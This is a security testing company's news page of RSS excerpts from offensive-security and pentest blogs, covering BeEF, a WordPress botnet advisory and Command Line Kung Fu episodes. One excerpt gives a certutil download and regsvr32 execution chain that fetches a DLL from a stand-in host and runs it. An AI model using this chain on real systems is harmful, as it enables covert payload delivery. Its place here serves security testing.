+44 (0)113 3280104 | Email Us

Industry News

News and updates from the ethical security testing industry...

RSS Aircrack-ng

RSS Armored Packets

  • Massive WordPress Brute-Force Botnet Attack April 15, 2013
    SUMMARY As of April 9, 2013, multiple web hosting companies began seeing brute force, dictionary attacks against their WordPress Content Management System. Approximately 140,000 IPs have been seen attacking these systems. After successful login, the actors are installing several PHP scripts which execute shell commands, download files from www.marinabybloshotel.com that establish connections with an IRC […]
  • Security Awareness – Hold The Line March 20, 2013
    Yesterday began like all others, a good morning to my Twitter followers and a quick scan through the topics of others I follow. The topic of discussion that stood out, dividing our industry more often than any others got started; the belief, or lack thereof, in Security Awareness Training Programs being a benefit to organizations. […]

RSS BeEF – The Browser Exploitation Framework Blog

  • Mapping your LAN from a web browser: Introducing the Network extension for BeEF June 8, 2016
    Today's blog post brought to you by Brendan Coles:How many tabs do you have open in your browser right now? For how long have they been open - more than 10 minutes? Any one of them could have mapped your local networks and launched exploits against your outdated or misconfigured software.From the BeEF laboratory comes […]
  • Kali (formerly Backtrack) Linux & BeEF January 22, 2016
    Today's post is contributed by Ben Waugh (@bw_z).BeEF is preinstalled on Kali linux distributions, allowing you to quickly use BeEF as part of your security testing toolkit. Running BeEF in KaliKali packages BeEF within the beef-xss service which can either be started from the command line, or the pre-populated menu item under Kali-Linux > Exploitation Tools […]

RSS Carnal0wnage & Attack Research Blog

  • Mentoring: On Blogging August 25, 2017
    Received the question about blogging. More specifically:How and WhyHow to benefit from bloggingHow to be consistent with postingIn my mind, the key to success and blogging is to be totally selfish in its planning and execution.Blogging is a personal activity/journey that you allow the public to be a part of.  What I mean by this […]
  • Certutil for delivery of files August 21, 2017
    Quick post putting together some twitter awesomenessreferences:https://twitter.com/subtee/status/888125678872399873https://twitter.com/subTee/status/888071631528235010https://twitter.com/malwaretechblog/status/733651527827623936Let's do it1. Create your DLL2. Base64encode it (optional)3. Use certutil.exe -urlcache -split -f http://example/file.txt file.blah to pull it down4. Base64decode the file with certutil5. Execute the dll with regsvr32 regsvr32 /s /u mydll.dll

RSS Command Line Kung Fu

  • Episode #181: Making Contact October 3, 2017
    Hal wanders back on stage Whew! Sure is dusty in here!Man, those were the days! It started with Ed jamming on Twitter and me heckling from the audience. Then Ed invited me up on stage (once we built the stage), and that was some pretty sweet kung fu. Then Tim joined the band, Ed left, […]
  • Episode #180: Open for the Holidays! December 31, 2014
    Not-so-Tiny Tim checks in with the ghost of Christmas present: I know many of you have been sitting on Santa's lap wishing for more Command Line Kung Fu. Well, we've heard your pleas and are pushing one last Episode out before the New Year! We come bearing a solution for a problem we've all encountered. […]